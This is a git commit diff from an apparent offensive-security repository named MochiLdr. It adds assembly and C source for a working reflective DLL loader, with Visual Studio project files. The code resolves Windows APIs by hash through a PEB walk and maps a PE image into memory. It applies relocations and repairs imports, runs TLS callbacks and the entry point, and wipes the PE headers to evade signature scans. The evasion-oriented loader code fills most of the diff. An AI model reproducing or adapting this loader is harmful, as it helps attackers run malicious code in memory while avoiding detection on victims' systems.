mirror of
https://github.com/mochabyte0x/MochiLdr
synced 2026-06-06 16:14:34 +00:00
MochiLdr
This commit is contained in:
@@ -0,0 +1,39 @@
|
||||
|
||||
; Author: mochabyte
|
||||
; Inspired from: Paul Ungur (5pider), Austin Hudson (@ilove2pwn_), Chetan Nayak (@NinjaParanoid), Bobby Cooke (@0xBoku), @trickster012
|
||||
|
||||
option casemap:none
|
||||
|
||||
PUBLIC MochiCaller
|
||||
|
||||
.code
|
||||
|
||||
MochiCaller PROC
|
||||
call get_base
|
||||
nop
|
||||
get_base:
|
||||
pop rcx
|
||||
xchg rsi, rsi
|
||||
lea r8, [rcx] ; Random Obfuscation
|
||||
xor ebx, ebx
|
||||
mov bx, 5A4Dh ; "MZ" Header
|
||||
nop
|
||||
mov r9, r9
|
||||
xor edx, edx
|
||||
mov dx, 4550h ; "PE" Header
|
||||
scan_mz:
|
||||
dec rcx
|
||||
nop
|
||||
cmp word ptr [rcx], bx
|
||||
jne scan_mz
|
||||
mov eax, dword ptr [rcx + 3Ch] ; e_lfanew value
|
||||
lea rax, [rcx + rax]
|
||||
xchg r10, r10
|
||||
cmp word ptr [rax], dx
|
||||
jne scan_mz
|
||||
mov rax, rcx
|
||||
xchg r11, r11
|
||||
ret
|
||||
MochiCaller ENDP
|
||||
|
||||
END
|
||||
@@ -0,0 +1,327 @@
|
||||
#include "include/MochiLdr.h"
|
||||
|
||||
// Hashing function taken from VX-API
|
||||
UINT32 JKOAAT_W(_In_ LPCWSTR String) {
|
||||
|
||||
SIZE_T Index = 0;
|
||||
UINT32 Hash = 0;
|
||||
SIZE_T Length = ldr_wcslen(String);
|
||||
|
||||
while (Index != Length)
|
||||
{
|
||||
Hash += String[Index++];
|
||||
Hash += Hash << INITIAL_SEED;
|
||||
Hash ^= Hash >> 6;
|
||||
}
|
||||
|
||||
Hash += Hash << 3;
|
||||
Hash ^= Hash >> 11;
|
||||
Hash += Hash << 15;
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
// This too
|
||||
UINT32 JKOAAT_A(_In_ PCHAR String)
|
||||
{
|
||||
SIZE_T Index = 0;
|
||||
UINT32 Hash = 0;
|
||||
SIZE_T Length = ldr_strlen(String);
|
||||
|
||||
while (Index != Length)
|
||||
{
|
||||
Hash += String[Index++];
|
||||
Hash += Hash << INITIAL_SEED;
|
||||
Hash ^= Hash >> 6;
|
||||
}
|
||||
|
||||
Hash += Hash << 3;
|
||||
Hash ^= Hash >> 11;
|
||||
Hash += Hash << 15;
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
// LoadLibrary alternative
|
||||
PVOID MLoadLibrary(PFUNCS funcs, LPSTR ModuleName)
|
||||
{
|
||||
|
||||
if (!ModuleName)
|
||||
return NULL;
|
||||
|
||||
UNICODE_STRING UnicodeString = { 0 };
|
||||
WCHAR ModuleNameW[MAX_PATH] = { 0 };
|
||||
DWORD dwModuleNameSize = MStringLengthA(ModuleName);
|
||||
HMODULE Module = NULL;
|
||||
NTSTATUS status = 0;
|
||||
|
||||
MCharStringToWCharString(ModuleNameW, ModuleName, dwModuleNameSize);
|
||||
ModuleNameW[dwModuleNameSize] = L'\0';
|
||||
|
||||
USHORT DestSize = MStringLengthW(ModuleNameW) * sizeof(WCHAR);
|
||||
UnicodeString.Length = DestSize;
|
||||
UnicodeString.MaximumLength = DestSize + sizeof(WCHAR);
|
||||
UnicodeString.Buffer = ModuleNameW;
|
||||
|
||||
status = funcs->Api.LoadDll(NULL, 0, &UnicodeString, &Module);
|
||||
|
||||
if (NT_SUCCESS(status)) {
|
||||
return Module;
|
||||
}
|
||||
else {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
PVOID GetPrcAddr(HMODULE hHandle, DWORD dwHashValue, WORD wOrdinal)
|
||||
{
|
||||
if (!hHandle || (!dwHashValue && !wOrdinal))
|
||||
return NULL;
|
||||
|
||||
BYTE* base = (BYTE*)hHandle;
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
|
||||
PIMAGE_DATA_DIRECTORY dir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!dir->VirtualAddress || !dir->Size)
|
||||
return NULL;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(base + dir->VirtualAddress);
|
||||
DWORD* funcRVAs = (DWORD*)(base + exp->AddressOfFunctions);
|
||||
|
||||
// Resolve by ordinal
|
||||
if (wOrdinal) {
|
||||
if (wOrdinal < exp->Base || wOrdinal >= exp->Base + exp->NumberOfFunctions)
|
||||
return NULL;
|
||||
DWORD rva = funcRVAs[wOrdinal - exp->Base];
|
||||
return (FARPROC)(base + rva);
|
||||
}
|
||||
|
||||
// Resolve by hash
|
||||
DWORD* nameRVAs = (DWORD*)(base + exp->AddressOfNames);
|
||||
WORD* ordinals = (WORD*)(base + exp->AddressOfNameOrdinals);
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||
const char* name = (const char*)(base + nameRVAs[i]);
|
||||
if (Hash_A(name) == dwHashValue) {
|
||||
DWORD rva = funcRVAs[ordinals[i]];
|
||||
return (FARPROC)(base + rva);
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
HMODULE GetModHandle(IN UINT32 uModuleHash) {
|
||||
|
||||
|
||||
PTEB pTeb = { 0 };
|
||||
PPEB pPeb = { 0 };
|
||||
PPEB_LDR_DATA pLdr = { 0 };
|
||||
PLIST_ENTRY pDataEntries = { 0 };
|
||||
WCHAR cLowerCase[MAX_PATH / 2],
|
||||
cUpperCase[MAX_PATH / 2];
|
||||
|
||||
// First we need to get the TEB which contains a pointer to the PEB structure
|
||||
//The TEB is located at the offset of 0x30 in the GS register for 64-bit and at the offset of 0x18 in the FS register for 32-bit
|
||||
#ifdef _WIN64
|
||||
pTeb = (PTEB)__readgsqword(0x30);
|
||||
pPeb = (PVOID)pTeb->ProcessEnvironmentBlock;
|
||||
|
||||
if (pPeb == NULL)
|
||||
return -1;
|
||||
|
||||
#elif _WIN32
|
||||
pTeb = (PTEB)__readfsdword(0x18);
|
||||
pPeb = pTeb->ProcessEnvironmentBlock;
|
||||
|
||||
if (pPeb == NULL)
|
||||
return -1;
|
||||
|
||||
#endif
|
||||
|
||||
// If "lpModuleName", we give a handle to its own process (Like the real GetModuleHandle would do).
|
||||
if (uModuleHash == NULL) {
|
||||
|
||||
return (HMODULE)pPeb->ImageBaseAddress; // By using the complete PEB struct def you can access "ImageBaseAddress".
|
||||
|
||||
}
|
||||
|
||||
// Now we can get to the LDR_DATA struct which contains all loaded modules
|
||||
pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
|
||||
|
||||
// Now getting a pointer to the InMemoryOrderModuleList struct
|
||||
// From what I've read this is some kind of doubly linked list. Each item in this list contains another list (which I blieve are LDR_DATA_TABLE_ENTRY structs) basically.
|
||||
// This points to the very first entry
|
||||
pDataEntries = &pLdr->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY pFirstEntry = pDataEntries->Flink;
|
||||
|
||||
// Now we can move through the "InMemoryOrderModuleList" and get all the modules that are loaded
|
||||
for (LIST_ENTRY* leEntry = pFirstEntry; leEntry != pDataEntries; leEntry = leEntry->Flink) {
|
||||
|
||||
LDR_DATA_TABLE_ENTRY* CurrentEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)leEntry - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
|
||||
|
||||
// Since we don't know if the hash that is being passed has been made by a lowercase or uppercase input, we need to convert the DLL name into both formats
|
||||
// We loop through each character and convert it
|
||||
for (USHORT i = 0; i < CurrentEntry->BaseDllName.Length / sizeof(WCHAR); i++) {
|
||||
|
||||
cLowerCase[i] = (WCHAR)ldr_tolower((int)CurrentEntry->BaseDllName.Buffer[i]);
|
||||
cUpperCase[i] = (WCHAR)ldr_toupper((int)CurrentEntry->BaseDllName.Buffer[i]);
|
||||
|
||||
}
|
||||
|
||||
// We add the termination
|
||||
cLowerCase[CurrentEntry->BaseDllName.Length / sizeof(WCHAR)] = L'\0';
|
||||
cUpperCase[CurrentEntry->BaseDllName.Length / sizeof(WCHAR)] = L'\0';
|
||||
|
||||
// We can now comparre the current the hashes and check for a match
|
||||
if (uModuleHash == Hash_W(cLowerCase)) {
|
||||
|
||||
return (HMODULE)CurrentEntry->DllBase;
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
if (uModuleHash == Hash_W(cUpperCase)) {
|
||||
|
||||
return (HMODULE)CurrentEntry->DllBase;
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
SIZE_T StringLengthA(IN LPCSTR String) {
|
||||
|
||||
LPCSTR String2;
|
||||
|
||||
for (String2 = String; *String2; ++String2);
|
||||
|
||||
return (String2 - String);
|
||||
}
|
||||
|
||||
BOOL RepairIAT(PFUNCS Functions, PBYTE MochiImage, LPVOID IatDir) {
|
||||
|
||||
PIMAGE_THUNK_DATA OriginalTD = NULL;
|
||||
PIMAGE_THUNK_DATA FirstTD = NULL;
|
||||
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;
|
||||
PIMAGE_IMPORT_BY_NAME pImportByName = NULL;
|
||||
|
||||
PCHAR ImportModuleName = NULL;
|
||||
HMODULE ImportModule = NULL;
|
||||
|
||||
for (pImportDescriptor = IatDir; pImportDescriptor->Name != 0; ++pImportDescriptor)
|
||||
{
|
||||
ImportModuleName = MochiImage + pImportDescriptor->Name;
|
||||
ImportModule = MLoadLibrary(Functions, ImportModuleName);
|
||||
|
||||
if (!ImportModule) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
OriginalTD = MochiImage + pImportDescriptor->OriginalFirstThunk;
|
||||
FirstTD = MochiImage + pImportDescriptor->FirstThunk;
|
||||
|
||||
|
||||
for (; OriginalTD->u1.AddressOfData != 0; ++OriginalTD, ++FirstTD)
|
||||
{
|
||||
if (IMAGE_SNAP_BY_ORDINAL(OriginalTD->u1.Ordinal))
|
||||
{
|
||||
|
||||
PVOID Function = GetPrcAddr(ImportModule, 0, IMAGE_ORDINAL(OriginalTD->u1.Ordinal));
|
||||
if (Function != NULL)
|
||||
FirstTD->u1.Function = Function;
|
||||
else {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
pImportByName = MochiImage + OriginalTD->u1.AddressOfData;
|
||||
DWORD FunctionHash = Hash_A(pImportByName->Name);
|
||||
LPVOID Function = GetPrcAddr(ImportModule, FunctionHash, 0);
|
||||
|
||||
if (Function != NULL)
|
||||
FirstTD->u1.Function = Function;
|
||||
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
typedef struct _BASE_RELOCATION_ENTRY {
|
||||
WORD Offset : 12;
|
||||
WORD Type : 4;
|
||||
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
|
||||
|
||||
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {
|
||||
|
||||
// Guard against missing relocation directory
|
||||
if (!pEntryBaseRelocDataDir->VirtualAddress || !pEntryBaseRelocDataDir->Size)
|
||||
return TRUE;
|
||||
|
||||
// Pointer to the beginning of the base relocation block.
|
||||
PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);
|
||||
|
||||
// The difference between the current PE image base address and its preferable base address.
|
||||
ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;
|
||||
|
||||
// Pointer to individual base relocation entries.
|
||||
PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;
|
||||
|
||||
// Iterate through all the base relocation blocks.
|
||||
while (pImgBaseRelocation->VirtualAddress) {
|
||||
|
||||
// Pointer to the first relocation entry in the current block.
|
||||
pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);
|
||||
|
||||
// Iterate through all the relocation entries in the current block.
|
||||
while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
|
||||
// Process the relocation entry based on its type.
|
||||
switch (pBaseRelocEntry->Type) {
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
// Adjust a 64-bit field by the delta offset.
|
||||
*((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
// Adjust a 32-bit field by the delta offset.
|
||||
*((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGH:
|
||||
// Adjust the high 16 bits of a 32-bit field.
|
||||
*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
|
||||
break;
|
||||
case IMAGE_REL_BASED_LOW:
|
||||
// Adjust the low 16 bits of a 32-bit field.
|
||||
*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
|
||||
break;
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
// No relocation is required.
|
||||
break;
|
||||
default:
|
||||
// Unknown relocation types.
|
||||
return FALSE;
|
||||
}
|
||||
// Move to the next relocation entry.
|
||||
pBaseRelocEntry++;
|
||||
}
|
||||
|
||||
// Move to the next relocation block.
|
||||
pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
/*
|
||||
|
||||
Author: Mochabyte
|
||||
Date: 22.11.2025
|
||||
Inspired by: 5pider, Bobby Cooke, Maldev Academy
|
||||
|
||||
*/
|
||||
|
||||
#include "include/MochiLdr.h"
|
||||
|
||||
DLLEXPORT VOID MochiLdr() {
|
||||
|
||||
HMODULE MochiLoader = NULL;
|
||||
FUNCS Functions = { 0 };
|
||||
PIMAGE_DOS_HEADER pDOSHeader;
|
||||
PIMAGE_NT_HEADERS pNtHeaders;
|
||||
ULONG_PTR uiBaseAddress;
|
||||
SIZE_T MochiMemorySize = 0;
|
||||
LPVOID MochiNewMemory = NULL;
|
||||
PIMAGE_SECTION_HEADER MochiSectionHeader = NULL;
|
||||
PVOID SecMemory = NULL;
|
||||
SIZE_T SecMemorySize = 0;
|
||||
DWORD Protection = 0;
|
||||
ULONG OldProtection = 0;
|
||||
PIMAGE_DATA_DIRECTORY MochiEntryImportDataDir;
|
||||
PIMAGE_NT_HEADERS pNewNtHeaders = NULL;
|
||||
|
||||
// 1. Getting the image base addr of our DLL
|
||||
MochiLoader = MochiCaller();
|
||||
|
||||
// 2. Loading all modules and WinAPIs
|
||||
Functions.Modules.Ntdll = GetModHandle(Ntdll_HASH);
|
||||
Functions.Modules.Kernel32 = GetModHandle(Kernel32_HASH);
|
||||
|
||||
Functions.Api.AllocMem = GetPrcAddr(Functions.Modules.Ntdll, NtAllocMem_HASH, 0);
|
||||
Functions.Api.ProtectMem = GetPrcAddr(Functions.Modules.Ntdll, NtProtectMem_HASH, 0);
|
||||
Functions.Api.LoadDll = GetPrcAddr(Functions.Modules.Ntdll, LdrLoadDll_HASH, 0);
|
||||
Functions.Api.FlushInstruct = GetPrcAddr(Functions.Modules.Ntdll, NtFlushInstruct_HASH, 0);
|
||||
Functions.Api.AddFuncTbl = GetPrcAddr(Functions.Modules.Kernel32, AddFuncTable_HASH, 0);
|
||||
|
||||
// Getting to the NT headers of the PE to be loaded
|
||||
pDOSHeader = (PIMAGE_DOS_HEADER)MochiLoader;
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pDOSHeader + pDOSHeader->e_lfanew);
|
||||
MochiMemorySize = pNtHeaders->OptionalHeader.SizeOfImage;
|
||||
|
||||
|
||||
// 3. Allocating memory for the new PE
|
||||
if (NT_SUCCESS(Functions.Api.AllocMem(NtCurrentProcess(), &MochiNewMemory, 0, &MochiMemorySize, MEM_COMMIT, PAGE_READWRITE))) {
|
||||
|
||||
// First, copying the PE headers
|
||||
ldr_memcpy(MochiNewMemory, MochiLoader, pNtHeaders->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// Copying the sections into that new memory section
|
||||
MochiSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
||||
|
||||
for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
PIMAGE_SECTION_HEADER sec = &MochiSectionHeader[i];
|
||||
|
||||
if (!sec->SizeOfRawData)
|
||||
continue;
|
||||
|
||||
BYTE* dst = (PBYTE)MochiNewMemory + sec->VirtualAddress;
|
||||
BYTE* src = (BYTE*)MochiLoader + sec->PointerToRawData;
|
||||
|
||||
ldr_memcpy(dst, src, sec->SizeOfRawData);
|
||||
|
||||
}
|
||||
|
||||
// Get NT headers from the new memory location
|
||||
pNewNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)MochiNewMemory + ((PIMAGE_DOS_HEADER)MochiNewMemory)->e_lfanew);
|
||||
|
||||
// 4. Now handling IAT repairing
|
||||
MochiEntryImportDataDir = &pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
if (MochiEntryImportDataDir->VirtualAddress && MochiEntryImportDataDir->Size) {
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)MochiNewMemory + MochiEntryImportDataDir->VirtualAddress);
|
||||
|
||||
if (!RepairIAT(&Functions, (PBYTE)MochiNewMemory, pImportDesc)) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Doing relocations
|
||||
if (!FixReloc(&pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC], MochiNewMemory, pNewNtHeaders->OptionalHeader.ImageBase)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 6. Fixing memory perms
|
||||
for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
SecMemory = ((PBYTE)MochiNewMemory + MochiSectionHeader[i].VirtualAddress);
|
||||
SecMemorySize = MochiSectionHeader[i].SizeOfRawData;
|
||||
Protection = PAGE_NOACCESS;
|
||||
OldProtection = 0;
|
||||
|
||||
DWORD Characteristics = MochiSectionHeader[i].Characteristics;
|
||||
BOOL isRead = (Characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||
BOOL isWrite = (Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||
BOOL isExecute = (Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
||||
|
||||
if (isExecute && isWrite && isRead)
|
||||
Protection = PAGE_EXECUTE_READWRITE;
|
||||
else if (isExecute && isRead)
|
||||
Protection = PAGE_EXECUTE_READ;
|
||||
else if (isExecute && isWrite)
|
||||
Protection = PAGE_EXECUTE_WRITECOPY;
|
||||
else if (isExecute)
|
||||
Protection = PAGE_EXECUTE;
|
||||
else if (isWrite && isRead)
|
||||
Protection = PAGE_READWRITE;
|
||||
else if (isRead)
|
||||
Protection = PAGE_READONLY;
|
||||
else if (isWrite)
|
||||
Protection = PAGE_WRITECOPY;
|
||||
|
||||
Functions.Api.ProtectMem(NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection);
|
||||
|
||||
}
|
||||
|
||||
// Opsec: zero out PE headers to "evade" signature scans
|
||||
ldr_memset(MochiNewMemory, 0, sizeof(IMAGE_DOS_HEADER) + 0x40);
|
||||
|
||||
// 7. Handling Exception handlers
|
||||
if (pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size) {
|
||||
|
||||
PIMAGE_RUNTIME_FUNCTION_ENTRY pRuntimeFunc = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((PBYTE)MochiNewMemory + pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
|
||||
Functions.Api.AddFuncTbl(pRuntimeFunc, (pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(RUNTIME_FUNCTION)) -1 , (DWORD64)MochiNewMemory);
|
||||
}
|
||||
|
||||
// 8. TLS Callbacks
|
||||
if (pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) {
|
||||
|
||||
// Retrieve the address of the TLS Directory.
|
||||
PIMAGE_TLS_DIRECTORY pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)((PBYTE)MochiNewMemory + pNewNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
|
||||
// Get the address of the TLS Callbacks from the TLS Directory.
|
||||
PIMAGE_TLS_CALLBACK* pImgTlsCallback = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
|
||||
CONTEXT pCtx = { 0x00 };
|
||||
|
||||
// Iterate through and invoke each TLS Callback until a NULL callback is encountered.
|
||||
for (; *pImgTlsCallback; pImgTlsCallback++)
|
||||
(*pImgTlsCallback)((LPVOID)MochiNewMemory, DLL_PROCESS_ATTACH, &pCtx);
|
||||
}
|
||||
|
||||
// 9. Flush instruction cache
|
||||
Functions.Api.FlushInstruct((HANDLE)-1, NULL, 0x00);
|
||||
|
||||
// 10. Executing the PE
|
||||
BOOL(WINAPI* MochiDllMain) (PVOID, DWORD, PVOID) = (PBYTE)MochiNewMemory + pNewNtHeaders->OptionalHeader.AddressOfEntryPoint;
|
||||
MochiDllMain((HMODULE)MochiNewMemory, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36301.6 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MochiLdrV2", "MochiLdrV2.vcxproj", "{28880C7D-298F-46C4-8225-13008459E14D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x64.Build.0 = Debug|x64
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Debug|x86.Build.0 = Debug|Win32
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x64.ActiveCfg = Release|x64
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x64.Build.0 = Release|x64
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x86.ActiveCfg = Release|Win32
|
||||
{28880C7D-298F-46C4-8225-13008459E14D}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {44D9EED2-0CD2-4F94-BA09-A076D0961E2B}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,195 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{28880c7d-298f-46c4-8225-13008459e14d}</ProjectGuid>
|
||||
<RootNamespace>MochiLdrV2</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>MochiLdr</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
